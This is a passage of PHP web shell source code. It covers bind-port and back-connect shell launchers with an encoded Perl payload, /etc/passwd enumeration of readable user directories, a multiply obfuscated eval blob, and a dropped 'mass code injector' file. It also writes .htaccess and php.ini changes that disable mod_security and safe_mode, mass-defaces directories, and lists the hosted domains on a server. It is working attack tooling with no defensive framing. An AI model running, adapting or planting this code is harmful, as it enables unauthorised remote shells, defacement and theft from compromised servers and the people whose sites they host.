3085 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
3086
3087 echo '<center><h1>Network tools</h1></center><div class=content>
3088 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
3089 <br /><span>Bind port to /bin/sh</span><br/>
3090 Port: <input type=\'text\' name=\'port\' value=\'110\'> Password: <input type=\'text\' name=\'pass\' value=\'BHP\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
3091 </form>
3092 <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
3093 <br /><br /><span>Back-connect to</span><br/>
3094 Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'110\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
3095 </form><br>';
3096 if(isset($_POST['p1'])) {
3097 function cf($f,$t) {
3098 $w=@fopen($f,"w") or @function_exists('file_put_contents');
3099 if($w) {
3100 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
3101 @fclose($w);
3102 }
3103 }
3104 if($_POST['p1'] == 'bpc') {
3105 cf("/tmp/bp.c",$bind_port_c);
3106 $out = ex("gcc -o /tmp/bp /tmp/bp.c");
3107 @unlink("/tmp/bp.c");
3108 $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
3109 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
3110 }
3111 if($_POST['p1'] == 'bpp') {
3112 cf("/tmp/bp.pl",$bind_port_p);
3113 $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
3114 echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
3115 }
3116 if($_POST['p1'] == 'bcc') {
3117 cf("/tmp/bc.c",$back_connect_c);
3118 $out = ex("gcc -o /tmp/bc /tmp/bc.c");
3119 @unlink("/tmp/bc.c");
3120 $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
3121 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
3122 }
3123 if($_POST['p1'] == 'bcp') {
3124 cf("/tmp/bc.pl",$back_connect_p);
3125 $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
3126 echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
3127 }
3128 }
3129 echo '</div>';
3130 printFooter();
3131}
3132
3133
3134function actionReadable() {
3135 printHeader();
3136 echo '<h1>Readable Dirs</h1>';
3137 echo '<div class="content">';
3138 $sm = ini_get('safe_mode');
3139 if($sm) {
3140 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
3141 } else {
3142 @$passwd = file('/etc/passwd','r');
3143 if (!$passwd) {
3144 echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
3145 } else {
3146 $pub = array();
3147 $users = array();
3148 $conf = array();
3149 $i = 0;
3150 foreach($passwd as $p) {
3151 $r = explode(':',$p);
3152 $dirz = $r[5].'/public_html/';
3153 if(strpos($r[5],'home')) {
3154 array_push($users,$r[0]);
3155 if (is_readable($dirz)) {
3156 array_push($pub,$dirz);
3157 }
3158 }
3159 }
3160 echo '<br><br>';
3161 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
3162 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
3163 foreach ($pub as $user) {
3164 echo $user."<br>";
3165 }
3166 echo "<br /><br /><br />[+] Complete...\n"."<br />";
3167 }
3168 }
3169 echo '</div>';
3170 printFooter();
3171}
3172
3173$the_buff = "\x3d\x3dQ\x2bk25jz2JkURpl\x63d4WQWxJfXQ4N0\x62o3/lNpnSPo8\x43JM33WtfdjpOTWfdk\x62v\x434L5Y/eFPD1n\x426v\x61\x42Df\x2bJ\x2bd\x63w10uIhyou\x62VL4DMPqXe7/Gf36pRyzSzNOW\x42vV\x42eI74\x43w\x425/PMost4wU9tsT\x6310QH9138YzgHUvvx\x421lwrS\x61o711UVJOi\x61\x42GSqipkuf3\x41jJZz\x62w\x63\x61ZR\x62Lz\x43YX\x62YT0/WNS\x62pgK3V\x61lhdqgxNk6Vkxt\x63th4NKTMO\x63yE\x2bQ8JLlFj6UF4NZRVw2\x62ODm5Oh90NFrLfxDSMW\x435\x433\x414RifJ0sxU\x419YwGufT\x61\x42gdpDXeIQ\x41Z\x61VXw\x2bM6t\x4296QSI\x62DT6Ffw\x63q4wNS\x414Z\x61K8O\x2be\x63y57H\x2bUIstRqJ9yvsvqRMv9S\x63mONNiSyM\x436MiePW6\x43ZRp2ehOtwQo31w/Xw3FS\x42M\x43vWUR2m/UHwK\x42wJe\x2bn\x63\x412Eg/EHwO\x42wJe\x2bn\x62\x41GFg/0GwS\x42wJe\x2bn\x61\x41WFg/kGwW\x42wJe";
3174eval(htmlspecialchars_decode(str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($the_buff)))))))))))));
3175
3176
3177
3178function actionInjector(){
3179 printHeader();
3180 $rev = "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";
3181 $handle = @fopen("rev.php", "w");
3182 @fwrite($handle, htmlspecialchars_decode(gzinflate(base64_decode($rev))));
3183 @fclose($handle);
3184 ?>
3185 <center><h1>Rev Mass Code Injector</h1><br><br>
3186 <iframe src="rev.php" width="100%" height="700"></iframe>
3187 </center>
3188 <?php
3189 printFooter();
3190 }
3191
3192function actionBypass() {
3193 printHeader();
3194 echo '<h1>Safe Mode</h1>';
3195 echo '<div class="content">';
3196 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
3197 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
3198 if(!empty($_POST['p2']) && isset($_POST['p2']))
3199 {
3200 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
3201 fwrite($fil,'<IfModule mod_security.c>
3202 Sec------Engine Off
3203 Sec------ScanPOST Off
3204 </IfModule>');
3205 fclose($fil);
3206 }
3207 if(!empty($_POST['p1'])&& isset($_POST['p1']))
3208 {
3209 $fil=fopen($GLOBALS['cwd']."php.ini","w");
3210 fwrite($fil,'safe_mode=OFF
3211 disable_functions=NONE');
3212 fclose($fil);
3213 }
3214 if(!empty($_POST['p3']) && isset($_POST['p3']))
3215 {
3216 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
3217 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
3218 AddType application/x-httpd-cgi .sh
3219 AddHandler cgi-script .pl
3220 AddHandler cgi-script .pl');
3221 fclose($fil);
3222 }
3223 echo "<br><br /><br /></div>";
3224 echo '</div>';
3225 printFooter();
3226
3227}
3228
3229function actionDeface() {
3230printHeader();
3231echo "<center><h1>Mass Deface</h1><div class=content>";
3232?>
3233<center>
3234<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">Folder: <br><input type=text name=path size=60 value="<?php echo getcwd(); ?>">
3235<br>File name: <br><input type=text name=file size=20 value="Pakistan_Zindabad.html"><br>Content:
3236<br> <textarea type=text name=Contents cols=70 rows=15 placeholder="Deface Page Here :)"></textarea>
3237<br><input type=submit value="Deface now"></p></form>
3238
3239<?php
3240if ($_POST['a'] == 'Deface') {
3241$mainpath = $_POST[p1];
3242$file = $_POST[p2];
3243$txtContents = $_POST[p3];
3244
3245$dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
3246while ($row = readdir($dir)) {
3247$start = @fopen("$row/$file", "w+");
3248$code = $txtContents;
3249$finish = @fwrite($start, $code);
3250if ($finish) {
3251echo "http://$row/$file<br>";
3252}
3253}
3254
3255}
3256echo '</div>';
3257printFooter();
3258}
3259 function actionDomain() {
3260 printHeader();
3261echo '<h1>Local Domains</h1><div class=content>';
3262$file = @implode(@file("/etc/named.conf"));
3263$Domain_path = "/var/named";
3264if (!$file) {
3265$domains = scandir($Domain_path);
3266$count=1;
3267$dc = 0;
3268 echo "<table align=center border=1 width=59% cellpadding=5>
3269<tr><td colspan=2><center>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.</center></td></tr>
3270<tr><td>No</td><td>Domains</td><td>User</td></tr>";
3271foreach ($domains as &$domain) {
3272 if (stripos($domain,".db")) {
3273 $domain = str_replace('.db','',$domain);
3274
3275 }
3276 if (strlen($domain) > 6) {
3277
3278 echo "<tr><td><a href='http://".$domain."' target='_blank'>".'http://'.$domain.'/index.php'."</a></td><td></td></tr>";
3279 }
3280}
3281 echo "</table>";
3282} else{
3283$count = 1;
3284preg_match_all("#named/(.*?).db#", $file, $r);
3285$domains = array_unique($r[1]);
3286echo "<table align=center border=1 width=59% cellpadding=5>
3287<tr><td colspan=2> There are ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
3288<tr><td>Domains";
3289foreach ($domains as $domain) {
3290$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
3291echo "<tr><td><a href='http://".$domain."' target='_blank'>".'http://'.$domain.'/index.php'."</a></td><td></td></tr>";
3292 }
3293}
3294printFooter();
3295}
3296if( empty($_POST['a']) )
3297 if(isset($default_action) && function_exists('action' . $default_action))
3298 $_POST['a'] = $default_action;
3299 else
3300 $_POST['a'] = 'SecInfo';
3301if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
3302 call_user_func('action' . $_POST['a'])
3303?>